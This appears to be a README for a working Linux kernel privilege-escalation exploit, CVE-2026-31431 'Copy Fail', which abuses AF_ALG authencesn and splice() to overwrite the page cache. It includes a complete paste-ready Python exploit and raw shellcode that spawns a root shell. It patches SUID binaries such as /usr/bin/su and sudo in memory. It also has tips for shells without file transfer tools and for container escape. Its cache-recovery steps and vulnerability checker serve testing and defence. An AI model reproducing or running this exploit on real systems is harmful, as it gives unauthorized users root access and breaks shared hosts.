
CVE-2026-31431 Copy Fail — Universal LPE exploit. Dynamic ELF offset + full-binary overwrite, Python 2/3 compatible with ctypes splice fallback
Linux kernel page cache 4-byte arbitrary write → Local Privilege Escalation
Multiple exploit approaches: dynamic ELF entry point overwrite, full binary replacement, Python 3.x compatible with ctypes splice fallback.
CVE-2026-31431 is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing splice() + authencesn in-place decryption, an unprivileged user can write 4 bytes at an arbitrary offset in the kernel's page cache — the same cache used for all file-backed memory.
This means:
This repository provides three tools using the same AF_ALG copy-fall primitive:
Dynamic entry point — Parses the ELF header at runtime to calculate the entry point file offset (p_offset + (e_entry - p_vaddr)), then writes a small shellcode stub. No hardcoded offsets — one script works on any x86_64 SUID binary regardless of distribution or version.
Full binary replace — Overwrites the target from offset 0 with a complete pre-built ELF payload (zlib-compressed and embedded in the script). Can target non-SUID binaries executed by privileged processes (cron jobs, systemd services, kube-proxy). Works with Python 2.
Vulnerability checker — Tests whether the target system has AF_ALG, authencesn, and algif_aead available before running an exploit.
exploit.py; Python 2 supported via poc_compatible.py)/usr/bin/su, /usr/bin/sudo, etc.)# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Then inside the container as testuser:
# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)
# Run the exploit
python3 exploit.py /usr/local/bin/verify
# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)
In real scenarios you often only have a raw shell — no scp, no curl, no wget. This method uses cat heredoc to write the exploit directly in terminal:
# Option 1: run the shell script
sh exploit-one-liner.sh /usr/local/bin/verify
# Option 2: paste directly into terminal (copy the entire block)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Why this matters: Container environments often lack file transfer tools (
scp,curl,wget). The heredoc method requires onlycatandpython3— available everywhere.
You can replace /usr/local/bin/verify with any SUID-root binary:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Warning: Targeting system SUID binaries (like
/usr/bin/su) affects all users on the system. The binary becomes unusable until page cache is cleared. On the host machine, any user runningsuwould get a root shell.On a shared/production system, this is immediately noticeable —
suwill crash or spawn unexpected shells for everyone. Useverify.cfor safe testing.
The exploit only modifies page cache (memory), not disk. Recovery options:
# On the host (after container testing):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Verify recovery:
xxd -l 8 /usr/bin/su
# Should show: 7f45 4c46 (.ELF)
Note: Inside a default (non-privileged) container,
echo 3 > /proc/sys/vm/drop_cachesfails withRead-only file system— this requires host access or container destruction.
The kernel's authencesn AEAD algorithm has a bug in its in-place decryption path:
AF_ALG socket with authencesn(hmac(sha256), cbc(aes))splice() to feed file data into the crypto socket — this maps page cache pages directly into the kernel's scatterlistauthencesn writes 4 bytes of seqno_lo after the authentication tagResult: 4-byte arbitrary write to any page-cached file.
┌─────────────────────────────────────────────────────┐
│ ELF Binary (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF Header │ e_entry = 0x4013f0 │
│ │ │ ← parse dynamically │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← calculated file offset │
│ │ orig code │ │
│ │ │ ─── copy fall writes ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode → setuid(0) succeeds → root shell.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; filename
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 bytes, 9 copy-fall writes (4 bytes each).
Default Docker containers are not protected from this:
| Protection | Status |
|---|---|
| Seccomp | ✅ AF_ALG allowed by default |
| User namespaces | ❌ Not used in default Docker |
| AppArmor/SELinux | ❌ Does not restrict AF_ALG |
| Capability dropping | ❌ No special caps needed |
The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).
Every Linux kernel since the algif_aead in-place conversion (merged ~2017), including:
.
├── exploit.py # Dynamic ELF entry point overwrite (Python 3.x)
├── exploit-one-liner.sh # Paste-friendly version (no file transfer needed)
├── poc_compatible.py # Full ELF binary overwrite from offset 0 (Python 2/3, by h4ppy7ree)
├── poc_ctypes.py # ctypes splice for Python 3.0-3.9 (by h4ppy7ree)
├── check_cve.sh # Vulnerability checker (by h4ppy7ree)
├── verify/
│ └── verify.c # SUID verification program for testing
└── README.md # This file
AF_ALG domain (socket(AF_ALG, ...) → errno)af_alg socket creationCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscallsThis exploit is provided for authorized security research and educational purposes only. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.
MIT
| Dynamic Entry Point | Full Binary Replace | Vuln Checker |
|---|
| File | exploit.py | poc_compatible.py | check_cve.sh |
| Strategy | Overwrites ELF entry point with shellcode | Replaces entire binary from offset 0 | Tests if target is vulnerable |
| Target | Any x86_64 SUID binary | Any binary (SUID or not) | N/A |
| Python | 3.x (all versions) | 2 / 3 | Bash |
| Payload | 36 bytes shellcode | zlib-compressed full ELF | N/A |
| Author | This work | h4ppy7ree | h4ppy7ree |
| Method | Where | Command |
|---|
| Drop page cache | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Reboot | Anywhere | reboot — page cache is volatile |
| Container destroyed | Anywhere | docker rm — page cache released with container |
| Vector | Works? | Details |
|---|
| LPE (local user → root) | ✅ Yes | Overwrite SUID binary entry point |
| Container escape (default) | ❌ No | overlayfs per-mount page cache isolation |
| Container escape (host write) | ✅ Yes | Write via /proc/PID/root/ from host |
| Cross-container (host write) | ✅ Yes | Same inode → shared lower-layer page cache |